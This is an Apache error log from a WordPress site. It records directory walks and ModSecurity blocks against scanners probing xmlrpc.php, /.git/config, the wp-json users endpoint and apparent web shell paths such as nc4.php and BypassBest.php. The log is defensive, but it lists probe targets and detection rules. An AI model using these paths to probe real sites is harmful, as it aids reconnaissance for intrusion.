[Sun Nov 23 16:42:11.079084 2025] [autoindex:error] [pid 14602:tid 14633] [client 140.99.1.18:48751] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/theme-compat/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Nov 23 16:42:24.992305 2025] [autoindex:error] [pid 14602:tid 14635] [client 140.99.1.18:48751] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/blocks/query/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Nov 23 16:42:25.498481 2025] [autoindex:error] [pid 14602:tid 14641] [client 140.99.1.18:48751] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/tinymce/langs/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Nov 23 16:42:25.651847 2025] [autoindex:error] [pid 14602:tid 14635] [client 140.99.1.18:48751] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/colors/ectoplasm/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Nov 23 16:42:25.748329 2025] [autoindex:error] [pid 14602:tid 14645] [client 140.99.1.18:48751] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/blocks/group/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Nov 23 16:42:38.907056 2025] [autoindex:error] [pid 14602:tid 14638] [client 140.99.1.18:48751] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/interactivity-api/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Nov 23 16:42:42.544725 2025] [autoindex:error] [pid 14602:tid 14624] [client 140.99.1.18:48751] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/upgrade/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Nov 23 16:42:56.694599 2025] [autoindex:error] [pid 14602:tid 14629] [client 140.99.1.18:48751] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/jquery/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Nov 23 16:42:56.836887 2025] [autoindex:error] [pid 14602:tid 14633] [client 140.99.1.18:48751] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/Requests/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Nov 23 16:42:56.949469 2025] [autoindex:error] [pid 14602:tid 14638] [client 140.99.1.18:48751] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/js/widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Nov 23 16:43:43.011474 2025] [:error] [pid 14602:tid 14622] [client 18.198.136.112:46184] [client 18.198.136.112] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 18.198.136.112, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSLJPx-I77jdD81pU-mbtwAAAUE"]
[Sun Nov 23 16:43:45.339675 2025] [autoindex:error] [pid 14602:tid 14629] [client 140.99.1.18:48751] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Nov 23 16:43:53.138112 2025] [autoindex:error] [pid 14602:tid 14629] [client 140.99.1.18:48751] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/colors/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Nov 23 16:43:53.292645 2025] [autoindex:error] [pid 14602:tid 14630] [client 140.99.1.18:48751] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Nov 23 16:43:53.986779 2025] [autoindex:error] [pid 14602:tid 14629] [client 140.99.1.18:48751] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/certificates/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Nov 23 16:43:54.164286 2025] [autoindex:error] [pid 14602:tid 14644] [client 140.99.1.18:48751] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Nov 23 16:43:54.288600 2025] [autoindex:error] [pid 14602:tid 14640] [client 140.99.1.18:48751] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/maint/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Nov 23 16:44:14.826683 2025] [autoindex:error] [pid 14602:tid 14635] [client 140.99.1.18:48751] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/uploads/2021/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Nov 23 16:44:21.867988 2025] [autoindex:error] [pid 14602:tid 14623] [client 140.99.1.18:48751] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/mu-plugins/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Nov 23 16:46:59.372672 2025] [autoindex:error] [pid 38739:tid 38775] [client 140.99.1.32:22637] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/css/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Nov 23 16:46:59.494099 2025] [autoindex:error] [pid 38739:tid 38790] [client 140.99.1.32:22637] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Nov 23 16:46:59.668463 2025] [autoindex:error] [pid 38739:tid 38785] [client 140.99.1.32:22637] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/assets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Nov 23 16:46:59.899386 2025] [autoindex:error] [pid 38739:tid 38790] [client 140.99.1.32:22637] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/sitemaps/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Nov 23 16:51:10.793664 2025] [:error] [pid 38740:tid 38812] [client 176.65.132.18:39834] [client 176.65.132.18] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/.git/config"] [unique_id "aSLK_g13QPZSi6O8umW4RgAAAJA"]
[Sun Nov 23 17:10:17.318596 2025] [:error] [pid 16066:tid 16091] [client 82.156.9.158:34360] [client 82.156.9.158] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 82.156.9.158, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSLPefq-c47Q5mW5E9GXrQAAAZY"], referer: http://rcacivilgroup.com
[Sun Nov 23 17:27:05.268277 2025] [:error] [pid 44652:tid 44706] [client 91.226.10.36:42976] [client 91.226.10.36] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 91.226.10.36, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSLTadiQFwsyXQDhwyDiWQAAAQA"]
[Sun Nov 23 17:33:21.690590 2025] [:error] [pid 16066:tid 16070] [client 115.190.136.123:54814] [client 115.190.136.123] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 115.190.136.123, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSLU4fq-c47Q5mW5E9Gc1AAAAYE"], referer: http://rcacivilgroup.com
[Sun Nov 23 18:08:17.319926 2025] [:error] [pid 17534:tid 17557] [client 57.129.79.233:38114] [client 57.129.79.233] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 57.129.79.233, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSLdEXPX9nXBrhgM8sxnVgAAAdU"]
[Sun Nov 23 18:19:26.194484 2025] [:error] [pid 16066:tid 16089] [client 34.76.142.88:11372] [client 34.76.142.88] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.76.142.88, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSLfrvq-c47Q5mW5E9GmywAAAZQ"], referer: http://rcacivilgroup.com
[Sun Nov 23 18:22:01.930438 2025] [:error] [pid 17534:tid 17553] [client 209.74.74.20:48824] [client 209.74.74.20] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/index.php/wp-json/wp/v2/users"] [unique_id "aSLgSXPX9nXBrhgM8sxsXwAAAdE"]
[Sun Nov 23 18:22:16.644096 2025] [:error] [pid 44652:tid 44725] [client 103.153.42.48:35556] [client 103.153.42.48] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/index.php/wp-json/wp/v2/users"] [unique_id "aSLgWNiQFwsyXQDhwyDzZgAAARM"]
[Sun Nov 23 18:30:06.540051 2025] [:error] [pid 14602:tid 14627] [client 89.252.168.200:41348] [client 89.252.168.200] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users.json"] [unique_id "aSLiLh-I77jdD81pU-nTTQAAAUY"]
[Sun Nov 23 18:32:52.135353 2025] [:error] [pid 16066:tid 16091] [client 114.215.206.33:37308] [client 114.215.206.33] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 114.215.206.33, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSLi1Pq-c47Q5mW5E9GqvQAAAZY"], referer: http://rcacivilgroup.com
[Sun Nov 23 18:48:35.118281 2025] [:error] [pid 14602:tid 14626] [client 85.214.167.117:37142] [client 85.214.167.117] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.214.167.117, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSLmgx-I77jdD81pU-nWwgAAAUU"]
[Sun Nov 23 19:05:34.715705 2025] [:error] [pid 16066:tid 16075] [client 182.253.58.139:11970] [client 182.253.58.139] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 182.253.58.139, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSLqfvq-c47Q5mW5E9GyfwAAAYY"], referer: http://rcacivilgroup.com
[Sun Nov 23 19:33:15.044242 2025] [:error] [pid 17534:tid 17557] [client 4.210.81.99:13654] [client 4.210.81.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/autoload_classmap.php"] [unique_id "aSLw-3PX9nXBrhgM8syDzgAAAdU"]
[Sun Nov 23 19:33:17.763990 2025] [:error] [pid 44652:tid 44725] [client 4.210.81.99:13687] [client 4.210.81.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/autoload_classmap.php"] [unique_id "aSLw_diQFwsyXQDhwyAGwQAAARM"]
[Sun Nov 23 19:33:25.262665 2025] [:error] [pid 16066:tid 16077] [client 4.210.81.99:50456] [client 4.210.81.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/autoload_classmap.php"] [unique_id "aSLxBfq-c47Q5mW5E9G4DwAAAYg"]
[Sun Nov 23 19:33:28.397967 2025] [:error] [pid 38739:tid 38775] [client 4.210.81.99:51937] [client 4.210.81.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/autoload_classmap.php"] [unique_id "aSLxCAdvEgJm2n2cDmpsAwAAAEY"]
[Sun Nov 23 19:33:32.074516 2025] [:error] [pid 38740:tid 38817] [client 4.210.81.99:13745] [client 4.210.81.99] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/html-api/wp-conflg.php"] [unique_id "aSLxDA13QPZSi6O8umXlKgAAAJU"]
[Sun Nov 23 19:33:34.726125 2025] [:error] [pid 38739:tid 38787] [client 157.245.154.48:59184] [client 157.245.154.48] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.245.154.48, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSLxDgdvEgJm2n2cDmpsBQAAAFI"]
[Sun Nov 23 19:33:35.490340 2025] [:error] [pid 17534:tid 17558] [client 4.210.81.99:14198] [client 4.210.81.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/BypassBest.php"] [unique_id "aSLxD3PX9nXBrhgM8syD4QAAAdY"]
[Sun Nov 23 19:33:37.670205 2025] [:error] [pid 14602:tid 14631] [client 4.210.81.99:14179] [client 4.210.81.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/BypassBest.php"] [unique_id "aSLxER-I77jdD81pU-nd2wAAAUo"]
[Sun Nov 23 19:33:40.985375 2025] [:error] [pid 38738:tid 38744] [client 4.210.81.99:51917] [client 4.210.81.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/BypassBest.php"] [unique_id "aSLxFAytc6TL9XavPmNC2wAAAAI"]
[Sun Nov 23 19:33:42.698660 2025] [:error] [pid 38740:tid 38811] [client 4.210.81.99:51945] [client 4.210.81.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/BypassBest.php"] [unique_id "aSLxFg13QPZSi6O8umXlNgAAAI8"]
[Sun Nov 23 19:33:47.011309 2025] [:error] [pid 14602:tid 14626] [client 4.210.81.99:57723] [client 4.210.81.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/nc4.php"] [unique_id "aSLxGx-I77jdD81pU-nd5QAAAUU"]
[Sun Nov 23 19:33:51.761760 2025] [:error] [pid 17534:tid 17537] [client 4.210.81.99:50649] [client 4.210.81.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/nc4.php"] [unique_id "aSLxH3PX9nXBrhgM8syD9AAAAcE"]
[Sun Nov 23 19:33:53.070959 2025] [:error] [pid 38740:tid 38814] [client 4.210.81.99:13743] [client 4.210.81.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/nc4.php"] [unique_id "aSLxIQ13QPZSi6O8umXlOQAAAJI"]
[Sun Nov 23 19:33:59.525426 2025] [:error] [pid 17534:tid 17540] [client 4.210.81.99:50668] [client 4.210.81.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/wp-pridmag/init.php"] [unique_id "aSLxJ3PX9nXBrhgM8syD_AAAAcQ"]
[Sun Nov 23 19:34:01.707984 2025] [:error] [pid 17534:tid 17545] [client 4.210.81.99:13637] [client 4.210.81.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/wp-pridmag/init.php"] [unique_id "aSLxKXPX9nXBrhgM8syEAgAAAck"]
[Sun Nov 23 19:34:04.416033 2025] [:error] [pid 16066:tid 16092] [client 4.210.81.99:57686] [client 4.210.81.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/wp-pridmag/init.php"] [unique_id "aSLxLPq-c47Q5mW5E9G4MQAAAZc"]
[Sun Nov 23 19:34:08.321403 2025] [:error] [pid 14602:tid 14638] [client 4.210.81.99:50658] [client 4.210.81.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/wp-pridmag/init.php"] [unique_id "aSLxMB-I77jdD81pU-nd9QAAAVE"]
[Sun Nov 23 19:34:09.847705 2025] [:error] [pid 17534:tid 17539] [client 4.210.81.99:51951] [client 4.210.81.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/g.php"] [unique_id "aSLxMXPX9nXBrhgM8syECQAAAcM"]
[Sun Nov 23 19:34:10.824178 2025] [:error] [pid 16066:tid 16073] [client 4.210.81.99:50628] [client 4.210.81.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/g.php"] [unique_id "aSLxMvq-c47Q5mW5E9G4NAAAAYQ"]
[Sun Nov 23 19:34:12.802613 2025] [:error] [pid 16066:tid 16078] [client 4.210.81.99:13725] [client 4.210.81.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/g.php"] [unique_id "aSLxNPq-c47Q5mW5E9G4NQAAAYk"]
